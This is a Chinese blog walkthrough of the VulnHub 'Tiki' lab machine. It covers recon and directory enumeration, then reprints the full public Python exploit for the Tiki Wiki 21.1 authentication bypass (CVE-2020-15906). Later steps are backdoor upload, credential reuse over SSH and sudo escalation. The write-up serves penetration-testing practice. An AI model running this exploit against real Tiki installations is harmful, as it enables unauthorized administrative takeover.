靶机渗透练习04-Tiki

于 2024-08-03 21:24:49 发布
阅读量592 收藏 17
点赞数 18
分类专栏： 靶场训练 文章标签： php 开发语言 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61632010/article/details/140897237
版权

靶机描述

靶机地址：TIKI: 1

Description

Oh no our webserver got compromised. The attacker used an 0day, so we dont know how he got into the admin panel. Investigate that.

This is an OSCP Prep Box, its based on a CVE I recently found. Its on the OSCP lab machines level.

If you need hints contact me on Twitter: S1lky_1337, should work on VirtualBox and Vmware.

一、搭建靶机环境

攻击机Kali：

IP地址：192.168.91.137

靶机：

IP地址：192.168.91.139

注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段，即两虚拟机处于同一网络模式）

该靶机环境搭建如下

  1. 将下载好的靶机环境，导入VMware，设置为NAT模式-用于共享主机的IP地址
  2. 将VMware中桥接模式网卡设置为NAT

二、实战

2.1 网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l（通过指定网卡进行扫描）

arp-scan -I eth0 -l

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

方法二、masscan扫描的网段-p扫描端口号

masscan 192.168.91.0/24 -p 80,22

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

方法很多，这里不再赘述……

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

22---ssh---OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80---http---Apache httpd 2.4.41 ((Ubuntu))
139---netbios---netbios-ssn Samba smbd 4.6.2
445---netbios---netbios-ssn Samba smbd 4.6.2

2.2 枚举漏洞

22端口分析

一般只能暴力破解，暂时没有合适的字典

80端口分析

访问80端口服务

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

访问：http://192.168.91.139/robots.txt

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

访问：http://192.168.91.139/tiki/

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现是使用了Tiki Wiki CMS作为框架进行搭建，但是没发现是什么版本

通过查询CMS文档和信息收集后，访问：http://192.168.91.139/tiki/doc/stable.version

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

看着好像是版本消息，但还是没有确定版本，继续扫一下目录：

dirsearch -u http://192.168.91.139/tiki

                                                                                                                                                                   
┌──(root㉿Abyssun)-[~]
└─# dirsearch -u http://192.168.91.139/tiki/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_192.168.91.139/_tiki__23-12-27_22-22-29.txt

Target: http://192.168.91.139/

[22:22:29] Starting: tiki/
[22:22:30] 200 -   44KB - /tiki/.editorconfig
[22:22:30] 200 -  353KB - /tiki/.gitattributes
[22:22:30] 200 -   10KB - /tiki/.gitlab-ci.yml
[22:22:31] 403 -  279B  - /tiki/.ht_wsr.txt
[22:22:31] 403 -  279B  - /tiki/.htaccess.bak1
[22:22:31] 403 -  279B  - /tiki/.htaccess.orig
[22:22:31] 403 -  279B  - /tiki/.htaccess.save
[22:22:31] 403 -  279B  - /tiki/.htaccess_extra
[22:22:31] 403 -  279B  - /tiki/.htaccess_sc
[22:22:31] 403 -  279B  - /tiki/.htaccess.sample
[22:22:31] 403 -  279B  - /tiki/.htaccessBAK
[22:22:31] 403 -  279B  - /tiki/.htaccessOLD
[22:22:31] 403 -  279B  - /tiki/.html
[22:22:31] 403 -  279B  - /tiki/.htm
[22:22:31] 403 -  279B  - /tiki/.htaccess_orig
[22:22:31] 403 -  279B  - /tiki/.htpasswds
[22:22:31] 403 -  279B  - /tiki/.htpasswd_test
[22:22:31] 403 -  279B  - /tiki/.httr-oauth
[22:22:31] 403 -  279B  - /tiki/.htaccessOLD2
[22:22:31] 403 -  279B  - /tiki/.php
[22:22:33] 302 -    0B  - /tiki/about.php  ->  index.php
[22:22:34] 301 -  321B  - /tiki/admin  ->  http://192.168.91.139/tiki/admin/
[22:22:34] 302 -    0B  - /tiki/admin/  ->  ../tiki-index.php
[22:22:35] 302 -    0B  - /tiki/admin/index.php  ->  ../tiki-index.php
[22:22:40] 200 -  859B  - /tiki/changelog.txt
[22:22:41] 200 -    0B  - /tiki/cron.php
[22:22:42] 301 -  318B  - /tiki/db  ->  http://192.168.91.139/tiki/db/
[22:22:42] 302 -    0B  - /tiki/db/  ->  ../tiki-index.php
[22:22:42] 302 -    0B  - /tiki/db/index.php  ->  ../tiki-index.php
[22:22:42] 301 -  319B  - /tiki/doc  ->  http://192.168.91.139/tiki/doc/
[22:22:42] 302 -    0B  - /tiki/doc/  ->  ../tiki-index.php
[22:22:42] 200 -  526B  - /tiki/doc/stable.version
[22:22:43] 301 -  320B  - /tiki/dump  ->  http://192.168.91.139/tiki/dump/
[22:22:43] 302 -    0B  - /tiki/dump/  ->  ../tiki-index.php
[22:22:45] 301 -  319B  - /tiki/img  ->  http://192.168.91.139/tiki/img/
[22:22:45] 302 -    0B  - /tiki/index.php  ->  http://192.168.91.139/tiki/tiki-index.php
[22:22:46] 302 -    0B  - /tiki/index.php/login/  ->  http://192.168.91.139/tiki/tiki-index.php
[22:22:46] 200 -    3KB - /tiki/INSTALL
[22:22:46] 301 -  325B  - /tiki/installer  ->  http://192.168.91.139/tiki/installer/
[22:22:46] 200 -  283B  - /tiki/lang/web.config
[22:22:46] 301 -  320B  - /tiki/lang  ->  http://192.168.91.139/tiki/lang/
[22:22:47] 301 -  319B  - /tiki/lib  ->  http://192.168.91.139/tiki/lib/
[22:22:47] 302 -    0B  - /tiki/lib/  ->  ../index.php
[22:22:47] 200 -    8KB - /tiki/license.txt
[22:22:47] 301 -  321B  - /tiki/lists  ->  http://192.168.91.139/tiki/lists/
[22:22:47] 200 -  465B  - /tiki/lists/
[22:22:49] 301 -  323B  - /tiki/modules  ->  http://192.168.91.139/tiki/modules/
[22:22:49] 302 -    0B  - /tiki/modules/  ->  ../tiki-index.php
[22:22:49] 200 -  230B  - /tiki/modules/web.config
[22:22:52] 200 -  969B  - /tiki/phpunit.xml.dist
[22:22:53] 200 -    1KB - /tiki/README
[22:22:53] 200 -    1KB - /tiki/robots.txt
[22:22:56] 301 -  323B  - /tiki/storage  ->  http://192.168.91.139/tiki/storage/
[22:22:56] 302 -    0B  - /tiki/storage/  ->  ../tiki-index.php
[22:22:57] 302 -    0B  - /tiki/temp/  ->  ../tiki-index.php
[22:22:57] 301 -  325B  - /tiki/templates  ->  http://192.168.91.139/tiki/templates/
[22:22:57] 302 -    0B  - /tiki/templates/  ->  ../tiki-index.php
[22:22:57] 301 -  320B  - /tiki/temp  ->  http://192.168.91.139/tiki/temp/
[22:22:57] 302 -    0B  - /tiki/themes/  ->  ../tiki-index.php
[22:22:57] 301 -  322B  - /tiki/themes  ->  http://192.168.91.139/tiki/themes/
[22:22:57] 403 -    8KB - /tiki/tiki-admin.php
[22:22:59] 200 -  408B  - /tiki/vendor/
[22:23:01] 200 -    0B  - /tiki/xmlrpc.php

Task Completed

访问相关目录

在http://192.168.91.139/tiki/changelog.txt中看到了版本号21.1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

2.3 漏洞利用

2.3.1 利用EXP进入后台

拿到了网站的CMS版本，那么我们可以在kali的本地库中搜索一下，看看有没有可以直接使用的exp

searchsploit Tiki Wiki CMS 21.1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现能够找到一个exp，尝试利用这个漏洞，将脚本带出复制到当前路径

searchsploit -m php/webapps/48927.py

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看一下脚本内容

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64

#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys

banner = '''

████████ ██ ██   ██ ██ ██     ██ ██ ██   ██ ██     ██████   ██    ██ 
   ██    ██ ██  ██  ██ ██     ██ ██ ██  ██  ██          ██ ███   ███ 
   ██    ██ █████   ██ ██  █  ██ ██ █████   ██      █████   ██    ██ 
   ██    ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██     ██       ██    ██ 
   ██    ██ ██   ██ ██  ███ ███  ██ ██   ██ ██     ███████  ██ ██ ██ 
                                                                     

 █████  ██    ██ ████████ ██   ██ ███████ ███    ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███    ██         ██████  ██    ██ ██████   █████  ███████ ███████ 
██   ██ ██    ██    ██    ██   ██ ██      ████   ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████   ██         ██   ██  ██  ██  ██   ██ ██   ██ ██      ██      
███████ ██    ██    ██    ███████ █████   ██ ██  ██    ██    ██ ██      ███████    ██    ██ ██    ██ ██ ██  ██         ██████    ████   ██████  ███████ ███████ ███████ 
██   ██ ██    ██    ██    ██   ██ ██      ██  ██ ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ██  ██ ██         ██   ██    ██    ██      ██   ██      ██      ██ 
██   ██  ██████     ██    ██   ██ ███████ ██   ████    ██    ██  ██████ ██   ██    ██    ██  ██████  ██   ████         ██████     ██    ██      ██   ██ ███████ ███████ 
                                                                                                                                                                        
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''




def main():
    if(len(sys.argv) < 2):
        print(banner)
        print("Usage: %s <host> " % sys.argv[0])
        print("Eg:    %s 1.2.3.4 " % sys.argv[0])
        return


    rhost = sys.argv[1]
    url = "http://"+rhost+"/tiki/tiki-login.php"

    session = requests.Session()

    def get_ticket():
        r = requests.get(url)
        login_page = r.text.encode('utf-8')
        html = lxml.html.fromstring(login_page)
        auth = html.xpath('//input[@name="ticket"]/@value')

        return str(auth)[2:-2]

    def get_cookie():
        session.get(url)
        return session.cookies.get_dict()


    cookie = get_cookie()
    ticket = get_ticket()

    payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
    headers = {
        'Host': rhost,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzrhost, deflate',
        'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '125',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0',
    }


    for i in range(60):
        r = session.post(url, payload, headers)
        if("Account requires administrator approval." in r.text):
            print("Admin Password got removed.")
            print("Use BurpSuite to login into admin without a password ")



if(__name__ == '__main__'):
    main()

使用方法上只需要我们来指定ip就行

那么，EXP，启动！

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

得到提示，用burp抓包去掉密码后重放，即可登陆

用burp进行抓包、改包、重放数据包

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功登陆admin

2.3.2 尝试文件上传

登陆成功之后，继续信息收集，可以发现文件上传功能，上传后门文件成功

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

但并不知道路径，无法进一步进行利用

2.3.3 信息收集获取用户账户密码getshell

继续进一步的信息收集，查看目录，在wiki下发现Listpages存在几个页面

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在Credentials中发现了类似密码的文本silky:Agy8Y7SPJNXQzqA

尝试登陆：ssh silky@192.168.91.139

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功登陆

2.4 权限提升

2.4.1 寻找suid权限程序提权

简单的信息收集一下

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现sudo组下的所有用户都能使用sudo权限，且免密码，切换一下至root，成功得到flag

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

总结

本次靶机渗透练习主要通过信息收集和工具测试，找出，Tiki Wiki CMS漏洞，利用漏洞进入后台，再通过信息收集获取账户密码获取权限后，利用sudo提权拿到flag。

  1. 信息收集
  2. Tiki Wiki CMS 漏洞利用
  3. sudo提权
AbysSun2004
关注
  • 18
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
VulnHub靶场-Tiki
hxync的博客
08-08 953
靶场下载地址：tiki. 下载之后导入virtualbox启动 不能直接看到IP地址 先看一下kali的ip： Nmap扫一下192.168.1.0/24网段的主机，找到了靶机的IP地址 再扫一下靶机开放的端口： 开放了22 80 139 445 这四个端口 浏览器访问80端口没有发现什么有用的东西 Dirbuster扫一下目录 浏览器访问一下扫到的robots.txt 发现robots.txt文件里也有扫到的tiki目录，访问一下 发现提示是tikiwikicms 再加上下载靶场时有提示是cve漏洞
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
靶机渗透练习11-Tiki
hirak0的博客
04-15 2324
靶机描述 靶机地址：https://www.vulnhub.com/entry/tiki-1,525/ Description Oh no our webserver got compromised. The attacker used an 0day, so we dont know how he got into the admin panel. Investigate that. This is an OSCP Prep Box, its based on a CVE I recently foun
18. CTF综合靶机渗透(十一)
weixin_30763397的博客
07-24 1059
靶机描述： SkyDog Con CTF 2016 - Catch Me If You Can 难度：初学者/中级 说明：CTF是虚拟机，在虚拟箱中工作效果最好。下载OVA文件打开虚拟框，然后选择文件->导入设备。从下载的地方选择OVA文件。在导入OVA文件之后，确保在启动VM之前禁用USB 2。默认情况下，只为主机设置适配器，但在启动之前，您可以根据网络设置改变这一点。虚拟机服务器配...
kali渗透综合靶机(十一)--BSides-Vancouver靶机
W小哥
03-29 626
一、靶机下载 下载链接：https://pan.baidu.com/s/1s2ajnWHNVS_NZfnAjGpEvw 二、BSides-Vancouver靶机搭建 将下载好的靶机环境，用VMware导入即可使用，文件->打开 导入到合适位置即可，默认是C盘，成功导入虚拟机之后，打开即可 三、攻击过程 kali IP：192.168.212.5 靶机IP：192.168.212.7...
Tiki靶机(CMS漏洞)
m0_66299232的博客
11-11 892
5.直接运行后发现，可以结合bp使用admin用户免密登录。2.sudo -l 发现可以执行任意命令，成功拿下！3.searchsploit tiki 查到可利用脚本。攻击机系统：kali linux 2021.1。4.下载下来后，查看是用pytho3写的脚本。6.抓包后把密码删掉，放包 即可成功登录。2.根据提示访问后，发现是一个cms。1.用已知的账号密码进行22端口登录。7.随便点点后，发现一组用户名密码。1.探测目标靶机开放端口和服务。虚拟机网络链接模式：桥接模式。2.用gobuster扫目录。
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
Vulnhub靶机渗透测试 Five-1靶机
12-07
Vulnhub靶机渗透测试 Five-1靶机
Tiki Wiki CMS Groupware 17.1
04-30
Tiki Wiki是基于PHP、ADOdb以及smarty开发的CMS(内容管理系统)/门户系统/群件(Groupware)系统，更重要的是Tiki Wiki是一个基于LGPL协议的开源工程，她由来自全世界范围的的开源爱好者、捐赠者参与开发维护的。 通过Tiki Wiki，您可以很轻松的搭建各种类型的站点、门户、内部网等。Tiki Wiki同样也是一个强大的基于Web的协作工具。Tiki Wiki内置了很多功能选项，当您需要某个功能时可以很方便的将该功能激活。Tiki Wiki的设计架构是面向全世界范围的、清爽以及易扩展的。Tiki Wiki除了拥有当前几个优秀的Wiki的所有功能外，并且还提供很多其他很有价值的功能。您可以通过 Tiki Wiki构建成论坛系统、聊天室、投票系统、客户支持网站以及其他。并且您还可以看到，Tiki Wiki开发、维护团队一直处于活跃状态，并将无限期的持续下去。您可以看到有越来越多的网站正基于Tiki Wiki建设当中。 Tiki Wiki的主要功能包括：文章库、论坛、电子报、博客日志、文件/图库系统、投票/调查问卷/测验系统、FAQ、聊天室、广告横幅管理系统、Webmail、行事历、主题控制、工作流、在线支持系统等等……完整的功能了表可以通过访问Tiki功能列表来获取。
Tiki靶机 (为CMS漏洞)
m0_60045654的博客
11-14 108
要提前设置好靶机和攻击机(kali)的网卡模式，NAT模式和桥接模式都可以，如果不设置的话，光是扫描靶机IP就会浪费好多好多的时间，而且靶机IP也不一定会有，所以尽量让靶机处于与攻击机同一种网络模式下，我的是处于NAT 模式因为靶机和kali是在同一网络模式下，所以先查看一下kali的IP，一边好找靶机IP1. arp-scan -l 可以快速的扫描ip靶机IP为：10.4.7.1452. 端口扫描。
Vulnhub: Tiki-1靶机
qq_43884092的博客
05-18 195
tiki cms身份验证绕过，sudo提权
靶机6 Tiki
wj33333的博客
10-20 88
arp-scan -l 扫描，查找靶机IPnmap 扫描，查找靶机端口dirsearch 扫描目录查看/robots.txt发现/tiki/目录访问。
vulnhub-Tiki - 类oscp靶机攻略1
yutianovo的博客
07-14 1269
本文为类oscp靶机打靶1
记一次面向WP的TIKI靶机渗透
最新发布
Fear1e4的博客
02-09 735
寒假闲着无聊就像找个靶机先打起来。刚入门，所以就先面向wp，熟悉一下渗透测试的整个流程。这里都是用root终端打的靶，但是看过红队笔记的渗透，说是不要用root终端，还是要养成打sudo的习惯，说是在正式的红蓝攻防里会吃亏，咱们没打过，也不知道吃亏在哪，有机会去问问大佬。
Tiki Wiki CMS Groupware 认证绕过漏洞（CVE-2020-15906）
EC_Carrot的博客
08-17 709
漏洞详细 Tiki Wiki CMS Groupware或简称为Tiki（最初称为TikiWiki）是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误，管理员账户被爆破60次以上时将被锁定，此时使用空白密码即可以管理员身份登录后台。 漏洞复现 我们使用POC来进行复现，该POC先使用CVE-2020-15906绕过认证，获取管理员权限；再使用Smarty的沙盒绕过漏洞（CVE-2021-26119）
好用的几个WIKI
qq_41631913的博客
01-05 738
这是一个全功能的开源内容管理系统，包括WIKI、博客、论坛、文件管理等多个功能模块。它具有丰富的社交和协作特性。这是维基百科所使用的软件，是一个功能强大的开源WIKI平台。它具有广泛的社区支持和丰富的插件生态系统。这是一个简单易用的开源WIKI软件，它使用纯文本文件作为存储引擎，无需数据库支持，易于安装和管理。
Vulnhub靶机渗透环境搭建及JIS-CTF入门实践
Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例（一） 在这篇文章中，我们将学习如何搭建Vulnhub靶机渗透环境，并学习JIS-CTF入门知识，以及蚁剑提权示例。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值